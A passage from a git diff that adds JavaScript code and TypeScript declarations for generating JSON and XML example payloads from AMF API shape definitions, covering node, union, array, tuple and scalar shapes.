+import { JsonDataNodeGenerator } from '../data-node/JsonDataNodeGenerator.js';
+// import { ApiSchemaValues } from '../ApiSchemaValues.js';
+
+export const unionDefaultValue = Symbol('unionDefaultValue');
+
+/** @typedef {import('../../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../../helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../../helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../../helpers/api').ApiUnionShape} ApiUnionShape */
+/** @typedef {import('../../helpers/api').ApiFileShape} ApiFileShape */
+/** @typedef {import('../../helpers/api').ApiSchemaShape} ApiSchemaShape */
+/** @typedef {import('../../helpers/api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('../../helpers/api').ApiTupleShape} ApiTupleShape */
+/** @typedef {import('../../helpers/api').ApiAnyShape} ApiAnyShape */
+/** @typedef {import('../../helpers/api').ApiPropertyShape} ApiPropertyShape */
+/** @typedef {import('../../helpers/api').ApiExample} ApiExample */
+/** @typedef {import('../../helpers/api').ApiDataNodeUnion} ApiDataNodeUnion */
+
+export class ShapeJsonSchemaGenerator extends ShapeBase {
+  /**
+   * Generates a schema from AMF's shape.
+   * 
+   * @param {ApiShapeUnion} schema The Shape definition
+   * @returns {string}
+   */
+  generate(schema) {
+    const result = this.toObject(schema);
+    if (result !== null && typeof result === 'object') {
+      return this.serialize(result);
+    }
+    return result;
+  }
+
+  /**
+   * Processes the Shape definition and returns a JavaScript object or array.
+   * @param {ApiShapeUnion} schema
+   * @returns {any}
+   */
+  toObject(schema) {
+    const { types } = schema;
+    if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) {
+      return this[scalarShapeObject](/** @type ApiScalarShape */ (schema));
+    }
+    if (types.includes(ns.w3.shacl.NodeShape)) {
+      return this[nodeShapeObject](/** @type ApiNodeShape */ (schema));
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.UnionShape)) {
+      return this[unionShapeObject](/** @type ApiUnionShape */ (schema));
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.FileShape)) {
+      return this[fileShapeObject](/** @type ApiFileShape */ (schema));
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.SchemaShape)) {
+      return this[schemaShapeObject](/** @type ApiSchemaShape */ (schema));
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.TupleShape)) {
+      return this[tupleShapeObject](/** @type ApiTupleShape */ (schema));
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.ArrayShape) || types.includes(ns.aml.vocabularies.shapes.MatrixShape)) {
+      return this[arrayShapeObject](/** @type ApiArrayShape */ (schema));
+    }
+    return this[anyShapeObject](/** @type ApiAnyShape */ (schema));
+  }
+
+  /**
+   * Serializes generated JS value according to the mime type.
+   * @param {any} value
+   * @returns {string|undefined} 
+   */
+  serialize(value) {
+    return JSON.stringify(value, null, 2);
+  }
+
+  /**
+   * @param {ApiScalarShape} schema
+   * @returns {any|undefined}
+   */
+  [scalarShapeObject](schema) {
+    return this[scalarValue](schema);
+  }
+
+  /**
+   * @param {ApiScalarShape} schema
+   * @returns {any|undefined}
+   */
+  [nilShapeObject](schema) {
+    return null;
+  }
+
+  /**
+   * @todo: render examples, when available, first.
+   * @param {ApiNodeShape} schema
+   * @returns {object}
+   */
+  [nodeShapeObject](schema) {
+    const { inherits } = schema;
+    let { examples=[] } = schema;
+    if (Array.isArray(inherits) && inherits.length) {
+      inherits.forEach((parent) => {
+        const anyParent = /** @type ApiAnyShape */ (parent);
+        if (Array.isArray(anyParent.examples) && anyParent.examples.length) {
+          examples = examples.concat(anyParent.examples);
+        }
+      });
+    }
+    if (this.opts.renderExamples && examples.length) {
+      const example = examples.find((item) => !!item.value);
+      const value = this[exampleToObject](example);
+      if (value !== undefined) {
+        return value;
+      }
+    }
+    let result = {};
+    const { properties } = schema;
+    if (Array.isArray(inherits) && inherits.length) {
+      inherits.forEach(((s) => {
+        const part = this.toObject(s);
+        if (typeof part === 'object') {
+          result = { ...result, ...part };
+        }
+      }));
+    }
+    properties.forEach((property) => {
+      const { name } = property;
+      const value = this[propertyShapeObject](property);
+      if (typeof value !== 'undefined') {
+        result[name] = value;
+      }
+    });
+    return result;
+  }
+
+  /**
+   * @param {ApiUnionShape} schema
+   * @returns {any}
+   */
+  [unionShapeObject](schema) {
+    let { anyOf=[], examples=[] } = schema;
+    if (Array.isArray(schema.inherits) && schema.inherits) {
+      schema.inherits.forEach((parent) => {
+        const anyParent = /** @type ApiAnyShape */ (parent);
+        if (Array.isArray(anyParent.examples) && anyParent.examples.length) {
+          examples = examples.concat(anyParent.examples);
+        }
+        const typed = /** @type ApiUnionShape */ (parent);
+        if (Array.isArray(typed.anyOf) && typed.anyOf.length) {
+          anyOf = anyOf.concat(typed.anyOf);
+        }
+      });
+    }
+    const { opts } = this;
+    if (Array.isArray(anyOf) && anyOf.length) {
+      if (this[isNotRequiredUnion](anyOf)) {
+        // This generates schema for required values.
+        // This implicitly mean that the property is not required therefore the value should 
+        // not be generated.
+        return undefined;
+      }
+      if (this.opts.renderExamples) {
+        const example = examples.find((item) => !!item.value);
+        const value = this[exampleToObject](example);
+        if (value !== undefined) {
+          return value;
+        }
+      }
+      if (schema.defaultValue) {
+        return this[unionDefaultValue](anyOf, schema.defaultValue);
+      }
+      const { selectedUnions } = opts;
+      let renderedItem = /** @type ApiShapeUnion */ (null);
+      if (selectedUnions && selectedUnions.length) {
+        renderedItem = anyOf.find((item) => selectedUnions.includes(item.id));
+      } else {
+        [renderedItem] = anyOf;
+      }
+      if (renderedItem) {
+        return this.toObject(renderedItem);
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * @param {ApiShapeUnion[]} union The list of unions in the shape
+   * @param {ApiDataNodeUnion} defaultValue The definition of a default value.
+   * @returns {any|undefined}
+   */
+  [unionDefaultValue](union, defaultValue) {
+    const gen = new JsonDataNodeGenerator();
+    const result = gen.generate(defaultValue);
+    let hasNumber = false;
+    let hasBoolean = false;
+    let hasNil = false;
+    union.forEach((i) => {
+      if (i.types.includes(ns.aml.vocabularies.shapes.NilShape)) {
+        hasNil = true;
+      }
+      if (!i.types.includes(ns.aml.vocabularies.shapes.ScalarShape)) {
+        return;
+      }
+      const scalar = /** @type ApiScalarShape */ (i);
+      if (!hasBoolean) {
+        hasBoolean = scalar.dataType === ns.w3.xmlSchema.boolean;
+      }
+      if (!hasNumber) {
+        hasNumber = [
+          ns.w3.xmlSchema.number,
+          ns.w3.xmlSchema.long,
+          ns.w3.xmlSchema.integer,
+          ns.w3.xmlSchema.float,
+          ns.w3.xmlSchema.double,
+          ns.aml.vocabularies.shapes.number,
+          ns.aml.vocabularies.shapes.long,
+          ns.aml.vocabularies.shapes.integer,
+          ns.aml.vocabularies.shapes.float,
+          ns.aml.vocabularies.shapes.double,
+        ].includes(scalar.dataType);
+      }
+      if (!hasNil) {
+        hasNil = scalar.dataType === ns.w3.xmlSchema.nil;
+      }
+    });
+    if (hasNumber) {
+      const parsed = Number(result);
+      if (!Number.isNaN(parsed)) {
+        return parsed;
+      }
+    }
+    if (hasBoolean) {
+      if (result === 'true') {
+        return true;
+      }
+      if (result === 'false') {
+        return false;
+      }
+    }
+    if (hasNil && (result === 'null' || result === 'nil')) {
+      return null;
+    }
+    return result;
+  }
+
+  /**
+   * @param {ApiArrayShape} schema
+   * @returns {array}
+   */
+  [arrayShapeObject](schema) {
+    const { items } = schema;
+    const defaultValue = schema.defaultValue || items.defaultValue;
+    let { examples=[] } = schema;
+    const anyItems = /** @type ApiAnyShape */ (items);
+    if (Array.isArray(anyItems.examples)) {
+      examples = examples.concat(anyItems.examples);
+    }
+    if (this.opts.renderExamples && examples && examples.length) {
+      const example = examples.find((item) => !!item.value);
+      const value = this[exampleToObject](example);
+      if (Array.isArray(value)) {
+        return value;
+      }
+      if (typeof value !== 'undefined') {
+        return [value];
+      }
+    } 
+    if (defaultValue) {
+      const gen = new JsonDataNodeGenerator();
+      const arr = gen.processNode(defaultValue);
+      if (Array.isArray(arr)) {
+        return arr;
+      }
+    }
+    const value = this.toObject(items);
+    if (typeof value !== 'undefined') {
+      return [value];
+    }
+    return [];
+  }
+
+  /**
+   * @param {ApiTupleShape} schema
+   * @returns {any}
+   */
+  [tupleShapeObject](schema) {
+    const { items, examples } = schema;
+    if (this.opts.renderExamples && examples && examples.length) {
+      const example = examples.find((item) => !!item.value);
+      const value = this[exampleToObject](example);
+      if (typeof value !== 'undefined') {
+        return [value];
+      }
+    } 
+    if (schema.defaultValue) {
+      const gen = new JsonDataNodeGenerator();
+      const arr = gen.processNode(schema.defaultValue);
+      if (Array.isArray(arr)) {
+        return arr;
+      }
+    }
+    if (items.length) {
+      const result = [];
+      items.forEach((i) => {
+        const value = this.toObject(i);
+        if (typeof value !== 'undefined') {
+          result.push(value);
+        }
+      });
+      return result;
+    }
+    return [];
+  }
+
+  /**
+   * @param {ApiAnyShape} schema
+   * @returns {any}
+   */
+  [anyShapeObject](schema) {
+    const { and=[] } = schema;
+    if (and.length) {
+      let result = {};
+      and.forEach((item) => {
+        const props = this.toObject(item);
+        if (typeof props === 'object') {
+          result = { ...result, ...props };
+        }
+      });
+      return result;
+    }
+    return this[scalarShapeObject](schema);
+  }
+
+  /**
+   * @param {ApiPropertyShape} schema
+   * @returns {any|undefined} The value for the property or undefined when cannot generate the value.
+   */
+  [propertyShapeObject](schema) {
+    const { range, minCount=0 } = schema;
+    if (minCount === 0 && !this.opts.renderOptional) {
+      return undefined;
+    }
+    const { types } = range;
+    if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) {
+      // const defaultValue = schema.defaultValue || range.defaultValue;
+      // if (!this.opts.renderExamples && defaultValue) {
+      //   const gen = new JsonDataNodeGenerator();
+      //   const value = gen.generate(defaultValue);
+      //   if (value) {
+      //     return ApiSchemaValues.readTypedValue(value, /** @type ApiScalarShape */ (range).dataType);
+      //   }
+      // }
+      const anyRange = /** @type ApiAnyShape */ (range);
+      return this[scalarShapeObject](anyRange);
+    }
+    return this.toObject(range);
+  }
+
+  /**
+   * @param {ApiExample} example The example to turn into a JS object
+   * @returns {any}
+   */
+  [exampleToObject](example) {
+    if (example && example.structuredValue) {
+      const jsonGenerator = new JsonDataNodeGenerator();
+      return jsonGenerator.processNode(example.structuredValue);
+    }
+    return undefined;
+  }
+
+  // eslint-disable-next-line no-unused-vars
+  [fileShapeObject](schema) {
+    return super[fileShapeObject](undefined);
+  }
+  
+  // eslint-disable-next-line no-unused-vars
+  [schemaShapeObject](schema) {
+    return super[schemaShapeObject](undefined);
+  }
+}
diff --git a/src/schema/shape/ShapeXmlSchemaGenerator.d.ts b/src/schema/shape/ShapeXmlSchemaGenerator.d.ts
new file mode 100644
index 0000000..fe979ff
--- /dev/null
+++ b/src/schema/shape/ShapeXmlSchemaGenerator.d.ts
@@ -0,0 +1,95 @@
+import { ApiAnyShape, ApiArrayShape, ApiDataNodeUnion, ApiExample, ApiFileShape, ApiNodeShape, ApiPropertyShape, ApiScalarShape, ApiSchemaShape, ApiShapeUnion, ApiTupleShape, ApiUnionShape } from '../../helpers/api';
+import { 
+  ShapeBase,
+  scalarShapeObject,
+  nodeShapeObject,
+  unionShapeObject,
+  arrayShapeObject,
+  propertyShapeObject,
+  exampleToObject,
+  fileShapeObject,
+  schemaShapeObject,
+  tupleShapeObject,
+  anyShapeObject,
+  nilShapeObject,
+} from './ShapeBase.js';
+
+interface ProcessNodeOptions {
+  forceName?: string;
+  indent?: number;
+}
+
+/**
+ * Normalizes given name to a value that can be accepted by `createElement`
+ * function on a document object.
+ * @param name A name to process
+ * @return Normalized name
+ */
+export function normalizeXmlTagName(name: string): string;
+
+export const collectProperties: unique symbol;
+export const unionDefaultValue: unique symbol;
+export const readCurrentUnion: unique symbol;
+
+export function shapeToXmlTagName(shape: ApiAnyShape): string;
+
+export class ShapeXmlSchemaGenerator extends ShapeBase {
+  /**
+   * Generates a XML example from the structured value.
+   * 
+   * @param schema The Shape definition
+   */
+  generate(schema: ApiShapeUnion): string;
+
+  /**
+   * Processes the Shape definition and returns a JavaScript object or array.
+   */
+  processNode(schema: ApiShapeUnion, options?: ProcessNodeOptions): string;
+
+  /**
+   * Serializes generated JS value according to the mime type.
+   */
+  serialize(value: any): string|undefined;
+
+  /**
+   * Picks the union member to render.
+   */
+  [readCurrentUnion](anyOf: ApiShapeUnion[]): ApiShapeUnion;
+
+  [collectProperties](schema: ApiNodeShape): ApiPropertyShape[];
+
+  /**
+   * @param fill The fill value (spaces)
+   * @param value The value to format
+   */
+  formatValue(fill: string, value: any): string;
+
+  [nodeShapeObject](schema: ApiNodeShape, options?: ProcessNodeOptions): string;
+  [scalarShapeObject](schema: ApiScalarShape, options?: ProcessNodeOptions): string;
+  [nilShapeObject](schema: ApiScalarShape, options?: ProcessNodeOptions): any|undefined;
+
+  /**
+   * @returns The value for the property or undefined when cannot generate the value.
+   */
+  [propertyShapeObject](schema: ApiPropertyShape, options?: ProcessNodeOptions): string;
+
+  [arrayShapeObject](schema: ApiArrayShape, options?: ProcessNodeOptions): string;
+
+  /**
+   * @param example The example to turn into a JS object
+   */
+  [exampleToObject](example: ApiExample): any|undefined;
+
+  [unionShapeObject](schema: ApiUnionShape, options?: ProcessNodeOptions): string|undefined;
+
+  /**
+   * @param schema The schema with unions
+   * @param defaultValue The definition of a default value.
+   */
+  [unionDefaultValue](schema: ApiShapeUnion, defaultValue: ApiDataNodeUnion, options?: ProcessNodeOptions): string;
+
+  [fileShapeObject](schema: ApiFileShape): any;
+  [schemaShapeObject](schema: ApiSchemaShape): any;
+  [tupleShapeObject](schema: ApiTupleShape): any;
+  [anyShapeObject](schema: ApiAnyShape): any;
+}
diff --git a/src/schema/shape/ShapeXmlSchemaGenerator.js b/src/schema/shape/ShapeXmlSchemaGenerator.js
new file mode 100644
index 0000000..f351f5d
--- /dev/null
+++ b/src/schema/shape/ShapeXmlSchemaGenerator.js
@@ -0,0 +1,531 @@
+/* eslint-disable class-methods-use-this */
+import { ns } from "../../helpers/Namespace.js";
+import { 
+  ShapeBase,
+  scalarShapeObject,
+  nilShapeObject,
+  nodeShapeObject,
+  unionShapeObject,
+  fileShapeObject,
+  schemaShapeObject,
+  arrayShapeObject,
+  tupleShapeObject,
+  anyShapeObject,
+  scalarValue,
+  propertyShapeObject,
+  exampleToObject,
+  isNotRequiredUnion,
+} from './ShapeBase.js';
+import { XmlDataNodeGenerator } from '../data-node/XmlDataNodeGenerator.js';
+import { collectNodeProperties, formatXmlValue, getUnionMember } from '../Utils.js';
+
+/** @typedef {import('../../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../../helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../../helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../../helpers/api').ApiUnionShape} ApiUnionShape */
+/** @typedef {import('../../helpers/api').ApiFileShape} ApiFileShape */
+/** @typedef {import('../../helpers/api').ApiSchemaShape} ApiSchemaShape */
+/** @typedef {import('../../helpers/api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('../../helpers/api').ApiTupleShape} ApiTupleShape */
+/** @typedef {import('../../helpers/api').ApiAnyShape} ApiAnyShape */
+/** @typedef {import('../../helpers/api').ApiPropertyShape} ApiPropertyShape */
+/** @typedef {import('../../helpers/api').ApiExample} ApiExample */
+/** @typedef {import('../../helpers/api').ApiDataNodeUnion} ApiDataNodeUnion */
+
+/** 
+ * @typedef ProcessNodeOptions 
+ * @property {string=} forceName
+ * @property {number=} indent
+ */
+
+/**
+ * Normalizes given name to a value that can be accepted by `createElement`
+ * function on a document object.
+ * @param {String} name A name to process
+ * @return {String} Normalized name
+ */
+export const normalizeXmlTagName = name => name.replace(/[^a-zA-Z0-9-_.]/g, '');
+const UNKNOWN_TYPE = 'unknown-type';
+
+export const collectProperties = Symbol('collectProperties');
+export const unionDefaultValue = Symbol('unionDefaultValue');
+export const readCurrentUnion = Symbol('readCurrentUnion');
+
+/**
+ * @param {ApiAnyShape} shape
+ */
+export function shapeToXmlTagName(shape) {
+  const { name, inherits=[], xmlSerialization } = shape;
+  let label = xmlSerialization && xmlSerialization.name ? xmlSerialization.name : name || UNKNOWN_TYPE;
+  if (label === 'schema' && inherits.length) {
+    const n = inherits.find(i => i.name && i.name !== 'schema');
+    if (n) {
+      label = n.name === 'type' ? n.displayName || n.name : n.name;
+    }
+  }
+  return normalizeXmlTagName(label);
+}
+
+export class ShapeXmlSchemaGenerator extends ShapeBase {
+  /**
+   * Generates a XML example from the structured value.
+   * 
+   * @param {ApiShapeUnion} schema The Shape definition
+   * @returns {string}
+   */
+  generate(schema) {
+    const value = this.processNode(schema);
+    return value;
+  }
+
+  /**
+   * Processes the Shape definition and returns a JavaScript object or array.
+   * @param {ApiShapeUnion} schema
+   * @param {ProcessNodeOptions=} options
+   * @returns {string}
+   */
+  processNode(schema, options={}) {
+    const { types } = schema;
+    if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) {
+      return this[scalarShapeObject](/** @type ApiScalarShape */ (schema), options);
+    }
+    if (types.includes(ns.w3.shacl.NodeShape)) {
+      return this[nodeShapeObject](/** @type ApiNodeShape */ (schema), options);
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.UnionShape)) {
+      return this[unionShapeObject](/** @type ApiUnionShape */ (schema));
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.FileShape)) {
+      return this[fileShapeObject](/** @type ApiFileShape */ (schema));
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.SchemaShape)) {
+      return this[schemaShapeObject](/** @type ApiSchemaShape */ (schema));
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.TupleShape)) {
+      return this[tupleShapeObject](/** @type ApiTupleShape */ (schema));
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.ArrayShape) || types.includes(ns.aml.vocabularies.shapes.MatrixShape)) {
+      return this[arrayShapeObject](/** @type ApiArrayShape */ (schema), options);
+    }
+    return this[anyShapeObject](/** @type ApiAnyShape */ (schema));
+  }
+
+  /**
+   * Serializes generated JS value according to the mime type.
+   * @param {any} value
+   * @returns {string|undefined} 
+   */
+  serialize(value) {
+    return value;
+  }
+
+  /**
+   * Picks the union member to render.
+   * @param {ApiShapeUnion[]} anyOf 
+   * @returns {ApiShapeUnion}
+   */
+  [readCurrentUnion](anyOf) {
+    const { selectedUnions } = this.opts;
+    return getUnionMember(anyOf, selectedUnions);
+  }
+
+  /**
+   * @param {ApiNodeShape} schema
+   * @returns {ApiPropertyShape[]}
+   */
+  [collectProperties](schema) {
+    const { selectedUnions } = this.opts;
+    return collectNodeProperties(schema, selectedUnions);
+  }
+
+  /**
+   * @param {ApiNodeShape} schema
+   * @param {ProcessNodeOptions=} options
+   * @returns {string}
+   */
+  [nodeShapeObject](schema, options={}) {
+    const { inherits } = schema;
+    let { examples=[] } = schema;
+    if (Array.isArray(inherits) && inherits.length) {
+      inherits.forEach((parent) => {
+        let node = parent;
+        if (node.types.includes(ns.aml.vocabularies.shapes.UnionShape)) {
+          const union = /** @type ApiUnionShape */ (node);
+          const { anyOf=[] } = union;
+          node = this[readCurrentUnion](anyOf);
+        }
+        const anyShape = /** @type ApiAnyShape */ (node);
+        if (Array.isArray(anyShape.examples) && anyShape.examples.length) {
+          examples = examples.concat(anyShape.examples);
+        }
+      });
+    }
+
+    const label = options.forceName || shapeToXmlTagName(schema);
+    const attributes = [];
+    const parts = [];
+    const currentIndent = (options.indent || 0);
+    if (this.opts.renderExamples && examples && examples.length) {
+      const example = examples.find((item) => !!item.value);
+      const value = this[exampleToObject](example);
+      if (typeof value !== 'undefined') {
+        const fillTag = new Array(currentIndent * 2 + 0).fill(' ').join('');
+        const fillValue = new Array(currentIndent * 2 + 2).fill(' ').join('');
+        parts.push(`${fillTag}<${label}>`);
+        parts.push(formatXmlValue(fillValue, value));
+        parts.push(`${fillTag}</${label}>`);
+        return parts.join('\n');
+      }
+    }
+    const properties = this[collectProperties](schema);
+    properties.forEach((property) => {
+      const { range, minCount=0 } = property;
+      if (minCount === 0 && !this.opts.renderOptional) {
+        return;
+      }
+      const anyRange = /** @type ApiAnyShape */ (range);
+      if (anyRange.xmlSerialization) {
+        // Adds to the parent attributes list.
+        // When a non-scalar shape has `attribute` serialization this is an API spec error.
+        // Ignore such situation.
+        if (anyRange.xmlSerialization.attribute && anyRange.types.includes(ns.aml.vocabularies.shapes.ScalarShape)) {
+          let aLabel = normalizeXmlTagName(anyRange.xmlSerialization.name ? anyRange.xmlSerialization.name : property.name || anyRange.name || UNKNOWN_TYPE);
+          if (anyRange.xmlSerialization.prefix) {
+            aLabel = `${anyRange.xmlSerialization.prefix}:${aLabel}`;
+          }
+          const value = this[scalarValue](anyRange);
+          attributes.push(`${aLabel}="${value}"`);
+          return;
+        }
+      }
+      const value = this[propertyShapeObject](property, { indent: currentIndent });
+      if (typeof value !== 'undefined') {
+        const fill = new Array(currentIndent * 2 + 2).fill(' ').join('');
+        parts.push(formatXmlValue(fill, value));
+      }
+    });
+
+    let opening = `<${label}`;
+    if (attributes.length) {
+      opening += ' ';
+      opening += attributes.join(' ');
+    }
+    parts.unshift(`${opening}>`);
+    const fill = new Array(currentIndent*2).fill(' ').join('');
+    parts.push(`${fill}</${label}>`);
+    return parts.join('\n');
+  }
+
+  /**
+   * @param {ApiScalarShape} schema
+   * @param {ProcessNodeOptions=} options
+   * @returns {any|undefined}
+   */
+  [scalarShapeObject](schema, options={}) {
+    const { xmlSerialization, defaultValue } = schema;
+    let content;
+    if (defaultValue) {
+      const gen = new XmlDataNodeGenerator();
+      content = gen.processNode(defaultValue);
+    } else {
+      content = this[scalarValue](schema);
+    }
+    let label = options.forceName || shapeToXmlTagName(schema);
+    const attributes = [];
+    const parts = [];
+    if (xmlSerialization) {
+      const { namespace, prefix } = xmlSerialization;
+      if (namespace) {
+        const attrName = prefix ? `xmlns:${prefix}` : 'xmlns';
+        attributes.push(`${attrName}="${namespace}"`);
+      }
+      if (prefix) {
+        label = `${prefix}:${label}`;
+      }
+    }
+    let opening = `<${label}`;
+    if (attributes.length) {
+      opening += ' ';
+      opening += attributes.join(' ');
+    }
+    opening += '>';
+    parts.push(opening);
+    parts.push(content);
+    parts.push(`</${label}>`);
+    
+    return parts.join('');
+  }
+
+  /**
+   * @param {ApiScalarShape} schema
+   * @param {ProcessNodeOptions=} options
+   * @returns {any|undefined}
+   */
+  [nilShapeObject](schema, options={}) {
+    const { xmlSerialization } = schema;
+    const content = '';
+    let label = options.forceName || shapeToXmlTagName(schema);
+    const attributes = [];
+    const parts = [];
+    if (xmlSerialization) {
+      const { namespace, prefix } = xmlSerialization;
+      if (namespace) {
+        const attrName = prefix ? `xmlns:${prefix}` : 'xmlns';
+        attributes.push(`${attrName}="${namespace}"`);
+      }
+      if (prefix) {
+        label = `${prefix}:${label}`;
+      }
+    }
+    let opening = `<${label}`;
+    if (attributes.length) {
+      opening += ' ';
+      opening += attributes.join(' ');
+    }
+    opening += '>';
+    parts.push(opening);
+    parts.push(content);
+    parts.push(`</${label}>`);
+    
+    return parts.join('');
+  }
+
+  /**
+   * @param {ApiPropertyShape} schema
+   * @param {ProcessNodeOptions=} options
+   * @returns {string|undefined} The value for the property or undefined when cannot generate the value.
+   */
+  [propertyShapeObject](schema, options) {
+    const { range, minCount=0 } = schema;
+    if (minCount === 0 && !this.opts.renderOptional) {
+      return undefined;
+    }
+    const { types } = range;
+    if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) {
+      return this[scalarShapeObject](/** @type ApiScalarShape */ (range));
+    } 
+    if (types.includes(ns.aml.vocabularies.shapes.NilShape)) {
+      return this[nilShapeObject](/** @type ApiScalarShape */ (range));
+    }
+    return this.processNode(range, options);
+  }
+
+  /**
+   * @param {ApiArrayShape} schema
+   * @param {ProcessNodeOptions=} options
+   * @returns {string}
+   */
+  [arrayShapeObject](schema, options={}) {
+    const { items, xmlSerialization } = schema;
+    const label = shapeToXmlTagName(schema);
+    const currentIndent = (options.indent || 0);
+    const rootFill = new Array(currentIndent*2).fill(' ').join('');
+    const parts = [
+      `${rootFill}<${label}>`
+    ];
+    let nodeName = label;
+    const anyItems = /** @type ApiAnyShape */ (items);
+    if (anyItems.xmlSerialization && anyItems.xmlSerialization.name) {
+      nodeName = normalizeXmlTagName(anyItems.xmlSerialization.name);
+    }
+    // Note about wrapping. 
+    // XML array values are not wrapped by default. This means that by default 
+    // it produces a value like this:
+    // <ParentArray>
+    //   <arrayMemberProperty></arrayMemberProperty>
+    // </ParentArray>
+    // 
+    // When the object is marked as wrapped then the object is rendered as follows
+    // 
+    // <ParentArray>
+    //   <MemberObject>
+    //     <arrayMemberProperty></arrayMemberProperty>
+    //   <MemberObject>
+    // </ParentArray>
+    const isWrapped = xmlSerialization && !!xmlSerialization.wrapped;
+    const defaultValue = schema.defaultValue || items.defaultValue;
+    let itemName;
+    if (isWrapped) {
+      try {
+        // @ts-ignore
+        itemName = shapeToXmlTagName(schema.items);
+      } catch (e) {
+        itemName = 'UNKNOWN-NAME'
+      }
+    }
+    let { examples=[] } = schema;
+    if (Array.isArray(anyItems.examples)) {
+      examples = examples.concat(anyItems.examples);
+    }
+    if (this.opts.renderExamples && examples && examples.length) {
+      const example = examples.find((item) => !!item.value);
+      const value = this[exampleToObject](example);
+      if (typeof value !== 'undefined') {
+        const tagFill = new Array(currentIndent * 2 + 2).fill(' ').join('');
+        const valueFill = new Array(currentIndent * 2 + 4).fill(' ').join('');
+        parts.push(`${tagFill}<${nodeName}>`);
+        parts.push(`${valueFill}${value}`);
+        parts.push(`${tagFill}</${nodeName}>`);
+      }
+    } else if (defaultValue) {
+      const gen = new XmlDataNodeGenerator();
+      const value = gen.generate(defaultValue);
+      if (value) {
+        const tagFill = new Array(currentIndent * 2 + 2).fill(' ').join('');
+        const valueFill = new Array(currentIndent * 2 + 4).fill(' ').join('');
+        parts.push(`${tagFill}<${nodeName}>`);
+        parts.push(`${valueFill}${value.trim()}`);
+        parts.push(`${tagFill}</${nodeName}>`);
+      }
+    } else if (items.types.includes(ns.w3.shacl.NodeShape)) {
+      const typed = /** @type ApiNodeShape */ (items);
+      const tagFill = new Array(currentIndent * 2 + 2).fill(' ').join('');
+      const valueFill = isWrapped ? new Array(currentIndent * 2 + 4).fill(' ').join('') : tagFill;
+      if (isWrapped) {
+        parts.push(`${tagFill}<${itemName}>`);
+      }
+      const properties = this[collectProperties](typed);
+      properties.forEach((prop) => {
+        const value = this[propertyShapeObject](prop);
+        if (value) {
+          parts.push(`${valueFill}${value}`);
+        }
+      });
+      if (isWrapped) {
+        parts.push(`${tagFill}</${itemName}>`);
+      }
+    } else {
+      const opts = {
+        forceName: nodeName,
+        indent: currentIndent + 1,
+      };
+      const value = this.processNode(items, opts);
+      if (typeof value !== 'undefined') {
+        const fill = new Array(currentIndent * 2 + 2).fill(' ').join('');
+        parts.push(`${fill}${value}`);
+      }
+    }
+    
+    parts.push(`${rootFill}</${label}>`);
+    return parts.join('\n');
+  }
+
+  /**
+   * @param {ApiExample} example The example to turn into a JS object
+   * @returns {any}
+   */
+  [exampleToObject](example) {
+    if (example && example.structuredValue) {
+      const generator = new XmlDataNodeGenerator();
+      return generator.generate(example.structuredValue);
+    }
+    return undefined;
+  }
+
+  /**
+   * @param {ApiUnionShape} schema
+   * @param {ProcessNodeOptions=} options
+   * @returns {any}
+   */
+  [unionShapeObject](schema, options={}) {
+    let { anyOf=[], examples=[] } = schema;
+    if (Array.isArray(schema.inherits) && schema.inherits) {
+      schema.inherits.forEach((parent) => {
+        const anyParent = /** @type ApiAnyShape */ (parent);
+        if (Array.isArray(anyParent.examples) && anyParent.examples.length) {
+          examples = examples.concat(anyParent.examples);
+        }
+        const typed = /** @type ApiUnionShape */ (parent);
+        if (Array.isArray(typed.anyOf) && typed.anyOf.length) {
+          anyOf = anyOf.concat(typed.anyOf);
+        }
+      });
+    }
+    if (Array.isArray(anyOf) && anyOf.length) {
+      if (this[isNotRequiredUnion](anyOf)) {
+        // This generates schema for required values.
+        // This implicitly mean that the property is not required therefore the value should 
+        // not be generated.
+        return undefined;
+      }
+      const example = examples.find((item) => !!item.value);
+      const value = this[exampleToObject](example);
+      if (value !== undefined) {
+        const label = shapeToXmlTagName(schema);
+        const currentIndent = (options.indent || 0);
+        const rootFill = new Array(currentIndent*2).fill(' ').join('');
+        const valueFill = new Array(currentIndent * 2 + 2).fill(' ').join('');
+        const parts = [];
+        parts.push(`${rootFill}<${label}>`);
+        const formatted = String(value).split('\n').filter(i => !!i).map(i => `${valueFill}${i}`).join('\n');
+        parts.push(`${formatted}`);
+        parts.push(`${rootFill}</${label}>`);
+        return parts.join('\n');
+      }
+      if (schema.defaultValue) {
+        return this[unionDefaultValue](schema, schema.defaultValue);
+      }
+      const member = this[readCurrentUnion](anyOf);
+      if (member) {
+        return this.processNode(member, { ...options, forceName: schema.name });
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * @param {ApiShapeUnion} schema The schema with unions
+   * @param {ApiDataNodeUnion} defaultValue The definition of a default value.
+   * @param {ProcessNodeOptions=} options
+   * @returns {any|undefined}
+   */
+  [unionDefaultValue](schema, defaultValue, options={}) {
+    const gen = new XmlDataNodeGenerator();
+    const value = gen.generate(defaultValue);
+    const anySchema = /** @type ApiAnyShape */ (schema);
+    const label = shapeToXmlTagName(anySchema);
+    const currentIndent = (options.indent || 0);
+    const rootFill = new Array(currentIndent*2).fill(' ').join('');
+    const parts = [
+      `${rootFill}<${label}>`
+    ];
+    const valueFill = new Array(currentIndent * 2 + 2).fill(' ').join('');
+    parts.push(`${valueFill}${String(value).trim()}`);
+    parts.push(`${rootFill}</${label}>`);
+    return parts.join('\n');
+  }
+
